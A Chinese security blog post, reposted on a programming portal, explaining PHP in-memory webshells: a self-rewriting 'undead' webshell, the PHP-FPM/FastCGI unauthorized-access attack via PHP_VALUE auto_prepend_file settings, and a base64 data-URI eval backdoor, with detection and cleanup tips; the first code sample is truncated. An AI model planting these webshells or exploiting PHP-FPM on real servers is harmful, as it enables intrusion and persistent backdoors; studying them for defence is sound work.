我的编程空间,编程开发者的网络收藏夹
学习永远不晚

PHP内存马介绍

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

PHP内存马介绍

文章目录

PHP内存马

PHP不死马

PHP不死马原理

php不死马顾名思义是指木马进程不会自己消亡的一种木马,该木马在内存中不断创建木马文件,从而达到管理员无法彻底删除的目的。实际上,PHP不死马并未实现无文件攻击或者内存webshell等,理论上并不属于内存马的范畴,但是关于PHP内存马的实现,确实仅有这几种方法,所以在此处简单介绍一下。

PHP不死马代码

';file_put_contents("shell.php", $content);usleep(10000);}?>

函数说明

1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开。2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。3. unlink(__FILE__)函数:删除文件。4. file_put_contents函数:将一个字符串写入文件。5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。

访问成功,并且无法删除。

image-20220608210706421

值得注意的是php一般都有设置php超时事件,所以php后台运行一定时间后可能会自动终止。image-20220608221221995

检测思路

1. 检查所有php进程处理请求的持续时间(top|grep http)2. 检测执行文件是否在文件系统真实存在

查杀PHP不死马

  • 重启php服务器
  • 强行kill后台进程 ps aux|grep www-data|awk '{print 2}'| xargs kill -9
  • 竞争删除

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode 运行了。使用条件竞争写入同名文件进行克制不死马。

image-20220608211639286

image-20220608211558944

FastCGI马

​ 在了解FastCGI马之前,我们先来简要介绍一下FastCGI是个什么东东。

CGI与FastCGI

​ 首先,我们来了解一下什么是CGI:以web服务器为例,我们知道apache可以用于搭建web服务器,但是apache只能够解析静态网页,也就是html类型网页;当然,我们可以安装php组件,通过apache配置文件使其能够解析php。这其中就用到了CGICGI是指Web Server 与 Web Application 之间数据交换的一种通信协议,当apache需要解析php时,他会通过配置文件获取到解析php服务的应用端口,并将需要解析的文件数据通过CGI协议交给PHP解析器。也就是说apache和php之间并不是一个整体(这是我以前误解的地方),而是apache通过CGI协议内部访问php解析器来实现php解析的。而FastCGICGI的升级版本,比 CGI 在效率上做了一些优化。两者的区别是:CGI每次解析是都会重新启动一个解析器进程,重新读取配置文件,重新载入扩展,解析完成后退出;而FastCGI是一种常驻型的CGI,只在进程启动时读取一次配置文件,请求解析完成后也不会退出,这样大大提高了性能。

​ 类比于HTTP协议,FastCGI协议是服务器中间件与某个语言后端进行数据交换中所使用的协议。FastCGI每次交换的消息称为record,这与HTTP协议请求数据包类似,record也有自己的headerbodyrecord的头固定8个字节,body是由头中的contentLength指定,其结构如下:

typedef struct {    unsigned char version; // 版本  unsigned char type; // 本次record的类型  unsigned char requestIdB1; // 本次record对应的请求id  unsigned char requestIdB0;  unsigned char contentLengthB1; // body体的大小  unsigned char contentLengthB0;  unsigned char paddingLength; // 额外块大小  unsigned char reserved;     unsigned char contentData[contentLength];  unsigned char paddingData[paddingLength];} FCGI_Record;

语言端解析FastCGI头之后,会根据contentLength获取的Body的数据,Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

​ 在FastCGI请求头中有一个type变量,type用于指定该record的作用,不同的record对应的bode结构不同,具体含义如下:

type值具体含义
1在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2异常断开与php-fpm的交互
3在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6php-fpm给web服务器回的正常响应消息的type就设为6
7php-fpm给web服务器回的错误响应设为7

这里我们主要介绍type为4的record,因为FastCGI木马使用到了该类型的record,其他类型详见看这篇文章

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

typedef struct {  unsigned char nameLengthB0;    unsigned char valueLengthB0;   unsigned char nameData[nameLength];  unsigned char valueData[valueLength];} FCGI_NameValuePair11;typedef struct {  unsigned char nameLengthB0;    unsigned char valueLengthB3;   unsigned char valueLengthB2;  unsigned char valueLengthB1;  unsigned char valueLengthB0;  unsigned char nameData[nameLength];  unsigned char valueData[valueLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair14;typedef struct {  unsigned char nameLengthB3;    unsigned char nameLengthB2;  unsigned char nameLengthB1;  unsigned char nameLengthB0;  unsigned char valueLengthB0;   unsigned char nameData[nameLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];  unsigned char valueData[valueLength];} FCGI_NameValuePair41;typedef struct {  unsigned char nameLengthB3;    unsigned char nameLengthB2;  unsigned char nameLengthB1;  unsigned char nameLengthB0;  unsigned char valueLengthB3;   unsigned char valueLengthB2;  unsigned char valueLengthB1;  unsigned char valueLengthB0;  unsigned char nameData[nameLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];  unsigned char valueData[valueLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair44;

这其实是4个结构,至于用哪个结构,有如下规则:

  • key、value均小于128字节,用FCGI_NameValuePair11
  • key大于128字节,value小于128字节,用FCGI_NameValuePair41
  • key小于128字节,value大于128字节,用FCGI_NameValuePair14
  • key、value均大于128字节,用FCGI_NameValuePair44

​ 关于web中间件与php之间的通信,我们举个例子来进行说明。用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/index.php',    'SCRIPT_NAME': '/index.php',    'QUERY_STRING': '?a=1&b=2',    'REQUEST_URI': '/index.php?a=1&b=2',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '12345',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'}

​ Nginx将以上数据通过FastCGI协议格式发送给PHP-FPM,PHP-FPM拿到FastCGI的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

PHP-FPM

​ 首先要说的是:FastCGI是一种协议规范,php-fpm最终会解析这个协议。我们知道无论是CGI还是FastCGI最终都会启动php解析器程序(php-cgi),但是该程序只能解析请求并不能进程管理,而php-fpm就是php-cgi的进程管理程序,它克服了php-cgi变更php.ini配置后,需重启php-cgi才能让新的php-ini生效,无法平滑重启;直接杀死php-cgi进程,php就不能运行了等问题。具体的相关信息可以看这篇文章

FastCGI未授权访问

那么,如果我们能够控制FastCGI的通信协议,是否可以执行任意代码呢?

理论上当然是不可以的,但是在PHP的配置中有两个特殊的配置项可以帮我们实现这一点:auto_prepend_fileauto_append_file

  • auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;
  • auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

如果我们设置auto_prepend_filephp://input(只要Content-Type不为multipart/form-dataphp://input会填入post数据,详见官方文档),那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。当然,还需要开启远程文件包含选项allow_url_include

那么,我们如何设置auto-prepend_file的呢?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/index.php',    'SCRIPT_NAME': '/index.php',    'QUERY_STRING': '?a=1&b=2',    'REQUEST_URI': '/index.php?a=1&b=2',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '12345',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'    'PHP_VALUE': 'auto_prepend_file = php://input',    'PHP_ADMIN_VALUE': 'allow_url_include = On'}

漏洞复现

复现环境可以使用vulhub的CVE-2019-11043复现环境。

Exp见p神的代码 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75。

python php_fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c ""

image-20230227212846684

参考链接

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fastcgi协议分析与实例

利用PHP-FPM做内存马

上个章节介绍了接近内存马的PHP不死马以及利用FastCGI制作的木马,但是这两种木马都不符合内存马的基本特性----PHP 代码无法长久驻留内存执行,接下来我们对FastCGI马进行下相应的改进使其称为真正意义上的内存马。

​ 在FastCGI马中,我们使用PHP_VALUE设置auto_prepend_file = php://input从而使得http请求传入的数据得到执行,那么有没有方法使得后门代码在内存中驻留呢?*我们只需要将php://input协议换为data就可以了(base64的内容为

'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_VALUE': 'auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\'',

Payload用P神的代码修改一下即可。
P神的脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

由于使用了auto_prepend_file,因此我们只需要访问服务器上任意一个正常的 PHP 文件,无需任何修改,都能触发我们的内存马。

image-20230228185217368

​ 当然,这个方案也有局限性,因为是内存马,所以他实际上是和PHP-FPM的 Worker 进程绑定的,因此,如果服务器上有多个Worker进程,我们就需要多发送刚才的请求几次,才能让我们的payload“感染”每一个进程。

内存马的检测

​ 既然是内存马,因此我们无法从代码扫描中发现。并且由于他只是修改了内存中的 PHP 配置,我们也无法从PHP.ini/.user.ini/php-fpm.conf等文件内容中检测。真正添加内存马由于只需要对fpm监听的端口发送请求,因此也无法从webserver的accesslog中发现问题。但是我们是可以通过rasp之类的工具,通过检查auto_prepend_file/auto_append_file/allow_url_inclue配置的变化(虽然目前很多 rasp 也不会做这些操作)来做检测。
​ 另外,由于触发方式可以是任意一个 PHP 文件,所以,我们想从后续的访问行为中做检查也有一定难度,但是可以从网络流量中检查对应的后门 payload,或者从进程的行为中,来做检查。

参考链接

利用 PHP-FPM 做内存马的方法

来源地址:https://blog.csdn.net/weixin_44411509/article/details/129267982

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

PHP内存马介绍

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

详细介绍 PHP内存分配函数

PHP 是一种流行的服务器端脚本语言,广泛用于 Web 开发。 与大多数编程语言一样,PHP 需要分配内存来创建变量、数组、对象和其他数据结构。PHP 提供了几个分配函数来动态分配内存。 这些功能是:emalloc() - 从堆中分配内存e
详细介绍 PHP内存分配函数
2024-02-27

Linux内存机制的介绍

这篇文章主要介绍“Linux内存机制的介绍”,在日常操作中,相信很多人在Linux内存机制的介绍问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Linux内存机制的介绍”的疑惑有所帮助!接下来,请跟着小编一起来
2023-06-13

PHP 内置函数介绍

php 提供了一系列内置函数用于执行各种任务,包括:字符串操作(strcmp、strtoupper、strtolower)数组处理(array_push、array_pop、in_array)数学运算(round、abs、max)文件处理(
PHP 内置函数介绍
2024-04-19

Java内存模型JMM的介绍

这篇文章主要讲解了“Java内存模型JMM的介绍”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java内存模型JMM的介绍”吧!一、为什么要有内存模型在现代多核处理器中,每个处理器都有自己的
2023-06-15

Redis教程(十四):内存优化介绍

一、特殊编码:自从Redis 2.2之后,很多数据类型都可以通过特殊编码的方式来进行存储空间的优化。其中,Hash、List和由Integer组成的Sets都可以通过该方式来优化存储结构,以便占用更少的空间,在有些情况下,可以省去9/10的
2022-06-04

Redis教程(十一):虚拟内存介绍

一、简介:和大多NoSQL数据库一样,Redis同样遵循了Key/Value数据存储模型。在有些情况下,Redis会将Keys/Values保存在内存中以提高数据查询和数据修改的效率,然而这样的做法并非总是很好的选择。鉴于此,我们可以将之进
2022-06-04
2023-09-14

基于jvm java内存区域的介绍

jvm虚拟机在运行时需要用到的内存区域.广泛一点就是堆和栈,其实不然,堆和栈只是相对比较笼统的说法,真正区分有如下几个
2023-05-31

PHP中$_FILES数组的内容介绍

本篇内容主要讲解“PHP中$_FILES数组的内容介绍”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP中$_FILES数组的内容介绍”吧!PHP $_FILES数组内容如下:$_FILES[
2023-06-17

PHP缓存技术的简单介绍

本篇内容介绍了“PHP缓存技术的简单介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!php缓存技术的应用时相当普遍的,也许有些人还对这项技
2023-06-17

Linux内存管理和寻址详细介绍

目录1.概念内存管理模式地址类型划分说明:2.页式管理x86架构32位cpux86架构 64位cpu3.地址划分4. 调试程序寄存器示例一个内核宕机的日志:查看程序寄存器段寄存器有0x23和0x2b两种情况:结语1.概念 内存管理模式 段式
2022-06-04

Java对象的内存布局详细介绍

这篇文章主要介绍了Java对象的内存布局,我们知道在Java中基本数据类型的大小,例如int类型占4个字节、long类型占8个字节,那么Integer对象和Long对象会占用多少内存呢?本文介绍一下Java对象在堆中的内存结构以及对象大小的计算
2023-02-13

SpringBoot SpringSecurity 详细介绍(基于内存的验证)

这篇文章主要介绍了SpringBoot SpringSecurity 介绍(基于内存的验证),本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
2023-05-18

帝国cmsV4.6功能介绍之内容存文本

解密帝国网站管理系统v4.6 共享内容管理饕餮盛宴 Empirecms4.6【饕餮盛宴】系列之三:内容存文本为了减少数据库负担,使大数据的存放与运行更高效,帝国引入了针对大数据网站而设计的内容存文本AtuJLWlyMI功能(数据库与文本相结
2022-06-12

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录